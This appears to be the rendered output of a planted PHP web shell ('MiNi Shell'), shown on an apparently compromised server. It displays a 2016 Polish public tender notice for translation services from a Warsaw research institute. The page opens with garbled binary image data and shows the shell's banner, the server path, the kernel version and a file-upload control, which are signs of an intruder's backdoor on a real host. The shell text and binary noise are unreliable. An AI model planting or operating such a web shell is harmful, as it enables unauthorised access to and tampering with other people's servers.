JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20160225/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20160225/18909-N-2016.html

<p class="kh_header"><b>Warszawa: Usługa tłumaczeń pisemnych
(znak  sprawy: tłumaczenie - 35 - 2016)</b><br>
<b>Numer ogłoszenia: 18909 - 2016; data zamieszczenia: 25.02.2016</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Ośrodek Przetwarzania Informacji - Państwowy Instytut Badawczy , Al. Niepodległości 188B, 00-608 Warszawa, woj. mazowieckie, tel. 022 570 14 64, faks 022 8253319.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.opi.org.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Podmiot prawa publicznego.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Usługa tłumaczeń pisemnych
(znak  sprawy: tłumaczenie - 35 - 2016).</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia jest świadczenie usługi tłumaczeń pisemnych..</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 2.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 14.06.2017.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>posiadanie uprawnień do wykonywania zawodu tłumacza przysięgłego (wpis w rejestrze Ministra Sprawiedliwości)</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Za spełniających warunek posiadania niezbędnej wiedzy i doświadczenia, Zamawiający uzna Wykonawców, którzy wykonali w okresie ostatnich pięciu lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy, to w tym okresie: co najmniej 3 usługi tłumaczenia specjalistycznego pisemnego o wartości co najmniej 3.000,00zł brutto każda.
Przez tłumaczenie specjalistyczne, o którym mowa w pkt. powyżej należy rozumieć tłumaczenie wymagające biegłości w posługiwaniu się specjalistyczną terminologią tj. dla części A: związane jest z nauką w dziedzinach: teleinformatyka - ICT, zdrowie, środowisko, nanotechnologie, energia, oraz  teksty zawierające cytaty z oryginalnego tekstu literackiego; dla części B:napisane z użyciem terminologii z zakresu prawa zamówień publicznych, kodeksu pracy, księgowości, tabele z danymi liczbowymi oraz opisowymi.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Za spełniających warunek dysponowania odpowiednim potencjałem technicznym oraz osobami zdolnymi do wykonania zamówienia Zamawiający uzna wykonawców, którzy będą dysponowali co najmniej 2 tłumaczami, którzy będą uczestniczyć w wykonywaniu zamówienia opisanego w załączniku nr 1 do SIWZ oraz spełniają warunki:
- ukończone (1) studia o kierunku filologia angielska lub lingwistyka stosowana z językiem angielskim albo (2) studia lingwistyczne w kraju anglojęzycznym albo (3) studia magisterskie i podyplomowe studium tłumaczy specjalistycznych z języka angielskiego albo (4) posiadanie licencji tłumacza przysięgłego (konieczne jest spełnianie co najmniej jednego z warunków (1), (2), (3) lub (4)) oraz posiadanie (w przypadku każdego z tłumaczy zaproponowanych do realizacji zamówienia) doświadczenia w tłumaczeniu pisemnym tekstów specjalistycznych z języka polskiego na język angielski udokumentowane przez przetłumaczenie co najmniej 3 tekstów po minimum 2 strony tłumaczeniowe o tematyce naukowo-technicznej oraz co najmniej 3 tekstów po minimum 2 strony tłumaczeniowe zawierających terminologię ekonomiczną lub społeczną, w okresie ostatnich  pięciu lat przed upływem terminu składania ofert (dotyczy Wykonawców składających ofertę dla części A zamówienia). Definicja strony tłumaczeniowej została określona w pkt. 14.1.1. a) SIWZ;
- osoba dokonująca korekty stylistyczno-językowej tekstu(1) jest native speakerem(tj.  język angielski jest jej pierwszym językiem, najczęściej ojczystym), (2) ma wyższe wykształcenie, (3) prowadzi lektorat na uczelni wyższej lub w szkole językowej oraz (4) posiada doświadczenie w pisemnej korekcie stylistyczno-językowej tekstów tłumaczonych z języka polskiego na język angielski- wszystkie wymienione warunki (1), (2), (3), (4) muszą zostać spełnione łącznie(dotyczy Wykonawców składających ofertę dla części A zamówienia).
UWAGA: Korekty tłumaczenia nie może wykonać osoba, która tłumaczyła tekst.
- posiadanie uprawnień do wykonywania zawodu tłumacza przysięgłego (wpis w rejestrze Ministra Sprawiedliwości)oraz doświadczenie w tłumaczeniu pisemnym przysięgłym z języka polskiego na język angielski udokumentowane przetłumaczeniem co najmniej 3 tekstów po minimum 2stronytłumaczeniowezawierających terminologię z zakresu prawa zamówień publicznych, kodeksu pracy, księgowości, w tym tabele z danymi liczbowymi oraz opisowymi (dotyczy Wykonawców składających ofertę dla części B zamówienia). Definicja strony tłumaczeniowej została określona w pkt. 14.1.1. b) SIWZ;
Za spełniających warunek określony w pkt powyżej Zamawiający uzna również    Wykonawców, którzy polegać będą na wiedzy i doświadczeniu innych podmiotów, niezależnie od charakteru prawnego łączących go z nimi stosunków.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">potwierdzenie posiadania uprawnień do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania, w szczególności koncesje, zezwolenia lub licencje;</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na zasoby innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><br><p class="bold">

III.5) INFORMACJA O DOKUMENTACH POTWIERDZAJĄCYCH, ŻE OFEROWANE DOSTAWY, USŁUGI LUB ROBOTY BUDOWLANE ODPOWIADAJĄ OKREŚLONYM WYMAGANIOM</p>
<p class="bold">W zakresie potwierdzenia, że oferowane roboty budowlane, dostawy lub usługi odpowiadają określonym wymaganiom należy przedłożyć:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc">
<li style="margin-bottom: 12px;"><p style="margin: 0px; padding: 0px;">inne dokumenty</p>
<p style="margin: 0px; padding: 0px;">Próbka tłumaczenia dla części A i /lub B, na którą Wykonawca składa ofertę na załączniku nr 5 do SIWZ.</p></li>



</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Jeżeli wykonawca, wykazując spełnianie warunków, o których mowa w art. 22 ust. 1 ustawy, polega na zasobach innych podmiotów na zasadach określonych w art. 26 ust. 2b ustawy, w celu oceny, czy wykonawca będzie dysponował zasobami innych podmiotów w stopniu niezbędnym dla należytego wykonania zamówienia oraz oceny, czy stosunek łączący wykonawcę z tymi podmiotami gwarantuje rzeczywisty dostęp do ich zasobów zobowiązany jest załączyć pisemne zobowiązanie tych podmiotów wraz z dokumentami dotyczącymi: - zakresu dostępnych wykonawcy zasobów innego podmiotu, - sposobu wykorzystania zasobów innego podmiotu, przez wykonawcę, przy wykonaniu zamówienia, - charakteru stosunku, jaki będzie łączył wykonawcę z innym podmiotem, - zakresu i okresu udziału innego podmiotu przy wykonywaniu zamówienia; 
wypełniony Formularz oferty na załączniku nr 4 do SIWZ;
wypełniony Wykaz osób  dla części A i /lub B, na którą Wykonawca składa ofertę na załączniku nr 3 (A, B) do SIWZ;
Próbkę tłumaczenia dla części A i /lub B, na którą Wykonawca składa ofertę na załączniku nr 5 do SIWZ;
 w przypadku, gdy ofertę w imieniu wykonawcy podpisuje pełnomocnik, do oferty należy załączyć pełnomocnictwo określające jego zakres i podpisane przez osoby uprawnione do reprezentacji wykonawcy; pełnomocnictwo należy złożyć w oryginale albo kopii potwierdzonej za zgodność z oryginałem przez notariusza.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 40</li>
<li>2 - Jakość tłumaczenia - 60</li>
</ul>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zamawiający przewiduje możliwość dokonania zmian umowy w przypadku:
a)	konieczności zaniechania wykonywania części prac,
b)	niemożliwych do przewidzenia niekorzystnych warunków atmosferycznych lub innych okoliczności, których wystąpienia nie można było przewidzieć w chwili zawarcia umowy,
c)	w przypadku ustawowej zmiany stawki podatku VAT w zakresie prac stanowiących przedmiot umowy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.bip2.opi.org.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> bip2.opi.org.pl.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 04.03.2016 godzina 10:00, miejsce: Ośrodek Przetwarzania Informacji - Państwowy Instytut Badawczy, al. Niepodległości 188B, 00-608 Warszawa, kancelaria (parter).</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> środki Szwajcarsko-Polskiego Programu Współpracy i budżetu państwa w ramach kosztów zarządzania Polsko-Szwajcarskiego Programu Badawczego..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Część A - tłumaczenia specjalistyczne.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia są usługi tłumaczeń pisemnych z języka polskiego na język angielski katalogu projektów Polsko-Szwajcarskiego Programu Badawczego pt. Wędrówki z patronami. Polsko-szwajcarska przygoda z nauką.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 22.04.2016.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 40</li>
<li>2. Jakość tłumaczenia - 60</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Część B: tłumaczenia przysięgłe i zwykłe..</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Przedmiotem zamówienia są usługi  tłumaczeń pisemnych z języka polskiego na język angielski pism i raportów dotyczących realizacji Polsko-Szwajcarskiego Programu Badawczego.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 14.06.2017.</li><li><p><b>4) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p>
<ul class="kh_indent_1">
<li>1. Cena - 40</li>
<li>2. Jakość tłumaczenia - 60</li>
</ul>
</li>
</ul><br>

Creat By MiNi SheLL
Email: jattceo@gmail.com